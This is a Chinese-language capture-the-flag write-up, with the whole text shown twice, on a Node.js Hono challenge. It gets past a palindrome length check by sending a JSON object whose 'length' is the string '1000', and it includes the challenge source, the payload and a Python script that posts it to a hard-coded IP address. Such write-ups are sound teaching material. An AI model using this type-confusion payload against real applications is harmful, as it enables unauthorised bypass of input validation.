本文记录了一次针对 Node.js Web 应用的代码审计与逻辑绕过实战。目标程序要求输入长度大于1000的回文字符串,但 Nginx 限制了实际的超长字符输入。攻击者巧妙利用了 JavaScript 的弱类型与类型混淆机制 ,传入定制的 JSON 对象 {"length": "1000", "0": "x", "999": "x"} 替代字符串。该 Payload 不仅绕过了 length 属性的阈值校验,还利用了 Array("1000") 会生成单元素数组的语言特性 ,让严苛的全局对称循环检测仅执行一次即告通过,最终成功获取 Flag。 本文记录了一次针对 Node.js Web 应用的代码审计与逻辑绕过实战。目标程序要求输入长度大于1000的回文字符串,但 Nginx 限制了实际的超长字符输入。攻击者巧妙利用了 JavaScript 的弱类型与类型混淆机制 ,传入定制的 JSON 对象 {"length": "1000", "0": "x", "999": "x"} 替代字符串。该 Payload 不仅绕过了 length 属性的阈值校验,还利用了 Array("1000") 会生成单元素数组的语言特性 ,让严苛的全局对称循环检测仅执行一次即告通过,最终成功获取 Flag。
代码审计
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim(); //返回flag.txt内容
const IsPalinDrome = (string) => {
if (string.length < 1000) { //输入少于1000字符
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) { // 返回包含索引的指定长度的数组
const original = string[i]; // 获取当前索引i处的字符,赋值给original
const reverse = string[string.length - i - 1]; // 获取对称位置的字符,即倒数第i个
if (original !== reverse || typeof original !== 'string') { // 检查是否对称以及类型检查。两者不满足一个就返回1,导致运行下面的代码
return 'Notter Palindromer!!';
}
}
return null;
}
const app = new Hono(); // 创建一个Hono应用实例app
app.get('/', serveStatic({root: '.'})); // 定义get请求路由/
app.post('/', async (c) => { // 异步函数,定义POST请求路由
const {palindrome} = await c.req.json(); // 解析请求体中的 JSON 数据,并解构出 palindrome 字段,这里是用户输入点。
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000; // 启动服务
serve(app);
漏洞分析
输入一千个a返回,Nginx 报错,大小限制。
Array()处理:
- 单数值:Array(3),创建长度为三的空数组
- 多参数:Array(1,2,3),创建[1,2,3]
- 非数字参数:Array(”1000”),创建[”1000”],只有一个
利用
构造payload
{
"palindrome": {
"length": "1000",
"0": "x",
"999": "x"
}
}
长度检查
if (string.length < 1000)
在比较字符串时强行将”1000”转换为数字
数组构造
Array(string.length) // string.length = "1000”
得到数组Array(”1000”),长度为1
迭代
for (const i of Array(string.length).keys())
仅循坏一次,i=0
对称检查
const original = string[0];"x"
const reverse = string[string.length - 0 - 1];string["1000" - 0 - 1],此时会强制转换为数字—> 1000-0-1
通过
import requests
# url
url = "http://83.136.253.144:33824/"
# create payload
payload = {
"palindrome":{
"length": "1000",
"0": "x",
"999": "x"
}
}
response = requests.post(url,json=payload)
print(response.text)
This post has not been translated to English yet.
代码审计
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim(); //返回flag.txt内容
const IsPalinDrome = (string) => {
if (string.length < 1000) { //输入少于1000字符
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) { // 返回包含索引的指定长度的数组
const original = string[i]; // 获取当前索引i处的字符,赋值给original
const reverse = string[string.length - i - 1]; // 获取对称位置的字符,即倒数第i个
if (original !== reverse || typeof original !== 'string') { // 检查是否对称以及类型检查。两者不满足一个就返回1,导致运行下面的代码
return 'Notter Palindromer!!';
}
}
return null;
}
const app = new Hono(); // 创建一个Hono应用实例app
app.get('/', serveStatic({root: '.'})); // 定义get请求路由/
app.post('/', async (c) => { // 异步函数,定义POST请求路由
const {palindrome} = await c.req.json(); // 解析请求体中的 JSON 数据,并解构出 palindrome 字段,这里是用户输入点。
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000; // 启动服务
serve(app);
漏洞分析
输入一千个a返回,Nginx 报错,大小限制。
Array()处理:
- 单数值:Array(3),创建长度为三的空数组
- 多参数:Array(1,2,3),创建[1,2,3]
- 非数字参数:Array(”1000”),创建[”1000”],只有一个
利用
构造payload
{
"palindrome": {
"length": "1000",
"0": "x",
"999": "x"
}
}
长度检查
if (string.length < 1000)
在比较字符串时强行将”1000”转换为数字
数组构造
Array(string.length) // string.length = "1000”
得到数组Array(”1000”),长度为1
迭代
for (const i of Array(string.length).keys())
仅循坏一次,i=0
对称检查
const original = string[0];"x"
const reverse = string[string.length - 0 - 1];string["1000" - 0 - 1],此时会强制转换为数字—> 1000-0-1
通过
import requests
# url
url = "http://83.136.253.144:33824/"
# create payload
payload = {
"palindrome":{
"length": "1000",
"0": "x",
"999": "x"
}
}
response = requests.post(url,json=payload)
print(response.text)